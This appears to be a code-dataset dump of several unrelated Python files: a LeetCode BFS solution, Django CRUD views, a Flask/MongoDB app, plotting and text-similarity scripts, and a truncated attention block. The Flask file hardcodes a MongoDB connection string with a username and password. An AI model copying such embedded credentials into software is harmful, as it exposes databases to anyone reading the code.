{"api_name": "tensorflow.compat.v1", "line_number": 186, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.dtypes", "line_number": 188, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 188, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 191, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 191, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 196, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 196, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 196, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.tpu.shutdown_system", "line_number": 200, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 200, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 200, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.summary_ops_v2.summary_writer_initializer_op", "line_number": 205, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.summary_ops_v2", "line_number": 205, "usage_type": "name"}, {"api_name": "tensorflow.python.ops.summary_ops_v2.flush", "line_number": 210, "usage_type": "call"}, {"api_name": "tensorflow.python.ops.summary_ops_v2", "line_number": 210, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 213, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 213, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 213, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 215, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 215, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 215, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 217, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 218, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 218, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 218, "usage_type": "name"}, {"api_name": "six.moves.xrange", "line_number": 223, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.debug", "line_number": 224, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 224, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 224, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 230, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 230, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 230, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 233, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 233, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 233, "usage_type": "name"}, {"api_name": "six.moves.xrange", "line_number": 239, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.debug", "line_number": 240, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 240, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 240, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 251, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 251, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 251, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 256, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 256, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 256, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 259, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 259, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 259, "usage_type": "name"}, {"api_name": "tensorflow.core.protobuf.tpu.compilation_result_pb2.CompilationResultProto", "line_number": 265, "usage_type": "call"}, {"api_name": "tensorflow.core.protobuf.tpu.compilation_result_pb2", "line_number": 265, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.error", "line_number": 268, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 268, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 268, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 272, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 272, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 272, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 276, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 276, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 276, "usage_type": "name"}, {"api_name": "time.time", "line_number": 277, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.Graph", "line_number": 278, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 278, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.Session", "line_number": 279, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 279, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 279, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.tpu.initialize_system", "line_number": 282, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 282, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 282, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 285, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 285, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 285, "usage_type": "name"}, {"api_name": "time.time", "line_number": 286, "usage_type": "call"}, {"api_name": "tensorflow.core.protobuf.config_pb2.RunOptions", "line_number": 289, "usage_type": "call"}, {"api_name": "tensorflow.core.protobuf.config_pb2", "line_number": 289, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 291, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 291, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 292, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 292, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 292, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 304, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 304, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 311, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 311, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 311, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.errors.OutOfRangeError", "line_number": 314, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.errors", "line_number": 314, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 314, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 318, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 318, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 318, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 322, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 322, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 322, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 327, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 327, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 327, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 331, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 331, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 331, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 335, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 335, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 335, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.logging.info", "line_number": 342, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 342, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 342, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.tpu.cross_replica_sum", "line_number": 343, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 343, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 343, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.cast", "line_number": 344, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 344, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.int32", "line_number": 344, "usage_type": "attribute"}]} {"seq_id": "11346497312", "text": "from collections import deque\n\n\nclass Solution:\n\n def racecar(self, target: int) -> int:\n if target == 0:\n return 0\n\n # step, location, speed\n q = deque([(0, 0, 1)])\n\n # (loc, speed)\n explored = set()\n\n while q:\n # print(q)\n num_instructions, cur_loc, cur_speed = q.popleft()\n\n if cur_loc == target and num_instructions > 0:\n return num_instructions\n\n explored.add((cur_loc, cur_speed))\n\n # consider A:\n next_loc = cur_loc + cur_speed\n next_speed = cur_speed * 2\n if 0 < next_loc < 2 * target:\n if (next_loc, next_speed) not in explored:\n q.append((num_instructions + 1, next_loc, next_speed))\n\n # consider R only if away from target:\n if (next_loc > target and cur_speed > 0) or (next_loc < target and cur_speed < 0):\n next_loc = cur_loc\n next_speed = -1 if cur_speed > 0 else 1\n if (cur_loc, next_speed) not in explored:\n q.append((num_instructions + 1, next_loc, next_speed))\n", "repo_name": "chutianwen/jobhunt2023", "sub_path": "leetcode/bfs/race_car.py", "file_name": "race_car.py", "file_ext": "py", "file_size_in_byte": 1158, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.deque", "line_number": 11, "usage_type": "call"}]} {"seq_id": "11566539309", "text": "from django.shortcuts import render, redirect, get_object_or_404\nfrom .forms import DataForm, OptionForm\nfrom .models import Data, Option\nfrom django.contrib import messages\nfrom django.core.paginator import Paginator\nfrom django.contrib.auth.decorators import login_required\n\n@login_required\ndef add_data(request):\n\tform = DataForm()\n\tif request.method == 'POST':\n\t\tform = DataForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\tmessages.success(request,'Data has been saved!')\n\t\t\treturn redirect('add_data')\n\treturn render(request, 'master_data/add_data.html',{'form':form})\n\n@login_required\ndef data_list(request):\n\tdata_list = Data.objects.all()\n\tpaginator = Paginator(data_list,10)\n\ttry:\n\t\tpage = request.GET.get('page','1')\n\texcept:\n\t\tpage = 1\n\ttry:\n\t\tdatas = paginator.page(page)\n\texcept(EmptyPage, InvalidPage):\n\t\tdatas = paginator.page(paginator.num_pages)\n\tcontext = {\n\t\t'datas':datas\n\t\t}\n\treturn render(request, 'master_data/data_list.html', context)\n\n@login_required\ndef edit_data(request,pk):\n\tdata = Data.objects.get(pk=pk)\n\tform = DataForm(instance=data)\n\tif request.method == 'POST':\n\t\tform = DataForm(request.POST,instance=data)\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\tmessages.success(request,'Data has been updated !')\n\t\t\treturn redirect('data_list')\n\treturn render(request, 'master_data/add_data.html',{'form':form})\n\n@login_required\ndef delete_data(request,pk):\n data = Data.objects.get(pk=pk)\n data.delete()\n return redirect('data_list')\n\n@login_required\ndef option(request):\n\tform = OptionForm()\n\toption_list = Option.objects.all()\n\tpaginator = Paginator(option_list,10)\n\ttry:\n\t\tpage = request.GET.get('page','1')\n\texcept:\n\t\tpage = 1\n\ttry:\n\t\toptions = paginator.page(page)\n\texcept(EmptyPage, InvalidPage):\n\t\toptions = paginator.page(paginator.num_pages)\t\n\tif request.method == 'POST':\n\t\tform = OptionForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\tmessages.success(request, 'Option has been saved!')\n\t\t\treturn redirect('option')\n\tcontext = {\n\t\t'form':form,\n\t\t'options':options\n\t}\t\t\n\treturn render(request, 'master_data/option.html', context)\n\n@login_required\ndef edit_option(request,pk):\n\tdata = Option.objects.get(pk=pk)\n\tform = OptionForm(instance=data)\n\tif request.method == 'POST':\n\t\tform = OptionForm(request.POST,instance=data)\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\tmessages.success(request,'Option has been modified !')\n\t\t\treturn redirect('option')\n\treturn render(request,'master_data/option.html',{'form':form})\t\n\n@login_required\ndef delete_option(request,pk):\n\tdata = Option.objects.get(pk=pk)\n\tdata.delete()\n\tmessages.success(request, 'Option has been deleted !')\n\treturn redirect('option')", "repo_name": "programmerzia/bloodbank", "sub_path": "master_data/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2652, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "forms.DataForm", "line_number": 10, "usage_type": "call"}, {"api_name": "forms.DataForm", "line_number": 12, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 15, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 15, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 16, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 17, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 8, "usage_type": "name"}, {"api_name": "models.Data.objects.all", "line_number": 21, "usage_type": "call"}, {"api_name": "models.Data.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "models.Data", "line_number": 21, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 22, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 34, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 19, "usage_type": "name"}, {"api_name": "models.Data.objects.get", "line_number": 38, "usage_type": "call"}, {"api_name": "models.Data.objects", "line_number": 38, "usage_type": "attribute"}, {"api_name": "models.Data", "line_number": 38, "usage_type": "name"}, {"api_name": "forms.DataForm", "line_number": 39, "usage_type": "call"}, {"api_name": "forms.DataForm", "line_number": 41, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 44, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 44, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 45, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 46, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 36, "usage_type": "name"}, {"api_name": "models.Data.objects.get", "line_number": 50, "usage_type": "call"}, {"api_name": "models.Data.objects", "line_number": 50, "usage_type": "attribute"}, {"api_name": "models.Data", "line_number": 50, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 52, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 48, "usage_type": "name"}, {"api_name": "forms.OptionForm", "line_number": 56, "usage_type": "call"}, {"api_name": "models.Option.objects.all", "line_number": 57, "usage_type": "call"}, {"api_name": "models.Option.objects", "line_number": 57, "usage_type": "attribute"}, {"api_name": "models.Option", "line_number": 57, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 58, "usage_type": "call"}, {"api_name": "forms.OptionForm", "line_number": 68, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 71, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 71, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 72, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 77, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 54, "usage_type": "name"}, {"api_name": "models.Option.objects.get", "line_number": 81, "usage_type": "call"}, {"api_name": "models.Option.objects", "line_number": 81, "usage_type": "attribute"}, {"api_name": "models.Option", "line_number": 81, "usage_type": "name"}, {"api_name": "forms.OptionForm", "line_number": 82, "usage_type": "call"}, {"api_name": "forms.OptionForm", "line_number": 84, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 87, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 87, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 88, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 89, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 79, "usage_type": "name"}, {"api_name": "models.Option.objects.get", "line_number": 93, "usage_type": "call"}, {"api_name": "models.Option.objects", "line_number": 93, "usage_type": "attribute"}, {"api_name": "models.Option", "line_number": 93, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 95, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 95, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 96, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 91, "usage_type": "name"}]} {"seq_id": "42054315862", "text": "import matplotlib.pyplot as plt\nimport numpy as np\n\nxIndex = np.arange(6)\nw = 0.4\n\nx = [chr(x) for x in range(65, 71)]\ny = [4, 9, 1, 7, 3, 5]\ny2 = [9, 5, 6, 7, 1, 7]\n\n''' HORIZONTAL\nplt.barh(xIndex - w/2, y, label=\"bar 1\", height=w, color='b')\nplt.barh(xIndex + w/2, y2, label=\"bar 2\", height=w, color='c')\n\nplt.yticks(xIndex, x)'''\n\nplt.bar(xIndex - w/2, y, label=\"bar 1\", width=w, color='b')\nplt.bar(xIndex + w/2, y2, label=\"bar 2\", width=w, color='c')\n\nplt.xticks(xIndex, x)\n\nplt.xlabel('x')\nplt.ylabel('y')\nplt.title('Bars')\nplt.legend()\nplt.show()", "repo_name": "gayatri-p/python-stuff", "sub_path": "matplotlib/bar_chart.py", "file_name": "bar_chart.py", "file_ext": "py", "file_size_in_byte": 552, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.arange", "line_number": 4, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}]} {"seq_id": "4561862606", "text": "from flask import Flask, render_template, request, jsonify\n\napp = Flask(__name__)\n\nfrom pymongo import MongoClient\n\nclient = MongoClient('mongodb+srv://test:sparta@cluster0.msldn.mongodb.net/Cluster0?retryWrites=true&w=majority')\ndb = client.dbsparta\n\n\n# import requests\n# from bs4 import BeautifulSoup\n#\n# headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36'}\n# data = requests.get('http://ticket.interpark.com/TPGoodsList.asp?Ca=Eve&SubCa=Eve_O',headers=headers)\n#\n# soup = BeautifulSoup(data.text, 'html.parser')\n#\n# musics = soup.select('table > tr > td > .sR_w755 > .Rk_gen2 > .con > .stit > table > tbody > tr')\n#\n# for exhi in musics:\n# place = exhi.select_one('td.Rkdate > a').text\n# a_tag = exhi.select_one('td.RKtxt')\n# if a_tag is not None:\n# title = exhi.select_one('span.fw_bold > a')\n# image = exhi.select_one('img')\n\n\n@app.route('/')\ndef home(): return render_template('index.html')\n\n\n@app.route(\"/IdeaSite\", methods=[\"POST\"])\ndef homework_post():\n # 3\n # 클라이언트에서 받은 데이터를 각 변수에 저장합니다.\n idea_receive = request.form['idea_give']\n name_receive = request.form['name_give']\n url_receive = request.form['url_give']\n\n # 4\n # db에 저장할 객체에 위 변수를 지정합니다.\n doc = {\n 'idea': idea_receive,\n 'name': name_receive,\n 'url': url_receive\n }\n # 5\n # 지정한 변수들을 db.IdeaSite에 저장합니다.\n db.IdeaSite.insert_one(doc)\n\n # 6\n # 클라이언트에 보낼 msg를 작성합니다.\n return jsonify({'msg': '저장 완료!'})\n\n\n@app.route(\"/IdeaSite\", methods=[\"GET\"])\ndef homework_get():\n # 1\n # 서버를 먼저 제작합니다.\n # order_list라는 변수에 db에 있는 모든 정보를 가지고 옵니다.\n orders_list = list(db.IdeaSite.find({}, {'_id': False}))\n\n # 2\n # order_list에 저장한 정보를 orders에 담아 클라이언트에 보냅니다.\n # return jsonify({'msg': 'GET 연결 완료!'})\n return jsonify({'orders': orders_list})\n\n\nif __name__ == '__main__':\n app.run('0.0.0.0', port=5000, debug=True)\n", "repo_name": "eisont/Publishing", "sub_path": "hanghae99/hanghae99_Sparta/projects/idea_site/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 2215, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 3, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 30, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 37, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 37, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 38, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 39, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 54, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 67, "usage_type": "call"}]} {"seq_id": "14682102692", "text": "import csv\nimport re\nimport warnings\nimport numpy as np\nfrom .config import DIR\n\nwarnings.filterwarnings(\"ignore\")\n\ndef get_word_vector(s1, s2):\n \"\"\"\n :param s1: 句子1\n :param s2: 句子2\n :return: 返回中英文句子切分后的向量\n \"\"\"\n\n # 把句子按字分开，中文按字分，英文按单词，数字按空格\n regEx = re.compile(\"[\\\\W]*\")\n res = re.compile(r\"([\\u4e00-\\u9fa5])\")\n\n p1 = regEx.split(s1.lower())\n str1_list = []\n for str in p1:\n if res.split(str) == None:\n str1_list.append(str)\n else:\n ret = res.split(str)\n for ch in ret:\n str1_list.append(ch)\n # print(str1_list)\n\n p2 = regEx.split(s2.lower())\n str2_list = []\n for str in p2:\n if res.split(str) == None:\n str2_list.append(str)\n else:\n ret = res.split(str)\n for ch in ret:\n str2_list.append(ch)\n # print(str2_list)\n\n list_word1 = [w for w in str1_list if len(w.strip()) > 0] # 去掉为空的字符\n list_word2 = [w for w in str2_list if len(w.strip()) > 0] # 去掉为空的字符\n # print(list_word1, list_word2)\n\n # 列出所有的词,取并集\n key_word = list(set(list_word1 + list_word2))\n # print(key_word)\n # 给定形状和类型的用0填充的矩阵存储向量\n word_vector1 = np.zeros(len(key_word))\n word_vector2 = np.zeros(len(key_word))\n\n # 计算词频\n # 依次确定向量的每个位置的值\n for i in range(len(key_word)):\n # 遍历key_word中每个词在句子中的出现次数\n for j in range(len(list_word1)):\n if key_word[i] == list_word1[j]:\n word_vector1[i] += 1\n for k in range(len(list_word2)):\n if key_word[i] == list_word2[k]:\n word_vector2[i] += 1\n\n # 输出向量\n # print(word_vector1)\n # print(word_vector2)\n return word_vector1, word_vector2\n\n\ndef cos_dist(vec1, vec2):\n \"\"\"\n 计算两向量的余弦相似度\n\n :param vec1: 向量1\n :param vec2: 向量2\n :return: 返回两个向量的余弦相似度\n \"\"\"\n dist1 = float(np.dot(vec1, vec2) / (np.linalg.norm(vec1) * np.linalg.norm(vec2)))\n return dist1\n\n\ndef entity_find(str1):\n # with open(str(DIR.joinpath('train.csv')), 'rt') as csvfile:\n with open(str(DIR.joinpath(\"train.csv\")), \"rt\", encoding=\"UTF-8\") as csvfile:\n\n reader = csv.reader(csvfile)\n column_1 = [row[1] for row in reader]\n # with open(str(DIR.joinpath('train.csv')), 'rt') as csvfile:\n with open(str(DIR.joinpath(\"train.csv\")), \"rt\", encoding=\"UTF-8\") as csvfile:\n\n reader = csv.reader(csvfile)\n column_2 = [row[2] for row in reader]\n\n # print(column_1)\n # print(column_2)\n\n # pattern = r',|\\.|/|;|\\'|`|\\[|\\]|<|>|\\?|:|\"|\\{|\\}|\\~|!|@|#|\\$|%|\\^|&|\\(|\\)|-|=|\\_|\\+|，|。|、|；|‘|’|【|】|·|！| |…|（|）'\n pattern = r\",|，|、\"\n entity_list = {}\n for target, i in zip(column_1, column_2):\n\n # for i in column_2:\n i = i.replace(\" \", \"\")\n result_list = re.split(pattern, i)\n entity_ = {}\n max_source = 0\n for test_text in result_list:\n\n vec1, vec2 = get_word_vector(str1, test_text)\n dist1 = cos_dist(vec1, vec2)\n if dist1 > 0.65 and dist1 > max_source:\n entity_list[target] = dist1\n max_source = dist1\n # if entity_ != {}:\n # entity_list.append(entity_)\n return entity_list\n\n\nif __name__ == \"__main__\":\n x = entity_find(\"保密承诺书\")\n print(x)\n print(max(x.values()))\n print(max(x, key=x.get))\n", "repo_name": "YouZijun97/pwc", "sub_path": "src/cos_simi.py", "file_name": "cos_simi.py", "file_ext": "py", "file_size_in_byte": 3663, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "warnings.filterwarnings", "line_number": 7, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 17, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 78, "usage_type": "attribute"}, {"api_name": "config.DIR.joinpath", "line_number": 84, "usage_type": "call"}, {"api_name": "config.DIR", "line_number": 84, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 86, "usage_type": "call"}, {"api_name": "config.DIR.joinpath", "line_number": 89, "usage_type": "call"}, {"api_name": "config.DIR", "line_number": 89, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 91, "usage_type": "call"}, {"api_name": "re.split", "line_number": 104, "usage_type": "call"}]} {"seq_id": "75121109990", "text": "import math\nfrom typing import Dict, List\n\nfrom .paths import *\n\n\ndef load_frecent_characters() -> List[str]:\n return list(__load_frecent_characters().keys())\n\n\ndef __load_frecent_characters() -> Dict[str, float]:\n frecencies = {}\n try:\n with frecency_file_location.open(\"r\") as file:\n for line in file:\n (frecency, character) = line.strip(\"\\n\").split(\" \")\n frecencies[character] = float(frecency)\n except FileNotFoundError:\n pass\n\n return frecencies\n\n\ndef save_frecent_characters(chosen_character: str) -> None:\n new_file_name = frecency_file_location.with_name(\"frecency.tmp\")\n\n new_file_name.parent.mkdir(parents=True, exist_ok=True)\n\n frecencies = __load_frecent_characters()\n\n frecencies[chosen_character] = frecencies.get(chosen_character, 0) + 1.1\n\n with new_file_name.open(\"w+\") as new_file:\n for (character, frecency) in sorted(frecencies.items(), key=lambda item: item[1], reverse=True):\n new_file.write(f\"{math.floor(frecency)} {character}\\n\")\n\n new_file_name.rename(frecency_file_location)\n", "repo_name": "fdw/rofimoji", "sub_path": "src/picker/frecent.py", "file_name": "frecent.py", "file_ext": "py", "file_size_in_byte": 1108, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 738, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 11, "usage_type": "name"}, {"api_name": "math.floor", "line_number": 35, "usage_type": "call"}]} {"seq_id": "3263695422", "text": "# Squeeze-and-Excitation Networks\n# https://arxiv.org/pdf/1709.01507.pdf\n\n\n\"\"\"\n一种通道注意力机制。由于特征压缩和FC的存在，其捕获的通道注意力特征是具有全局信息的。\n\"\"\"\n\nimport torch\nimport torch.nn as nn\n\nclass SE_Block(nn.Module):\n def __init__(self, in_channel, reduction=16):\n super(SE_Block, self).__init__()\n self.avg_pool = 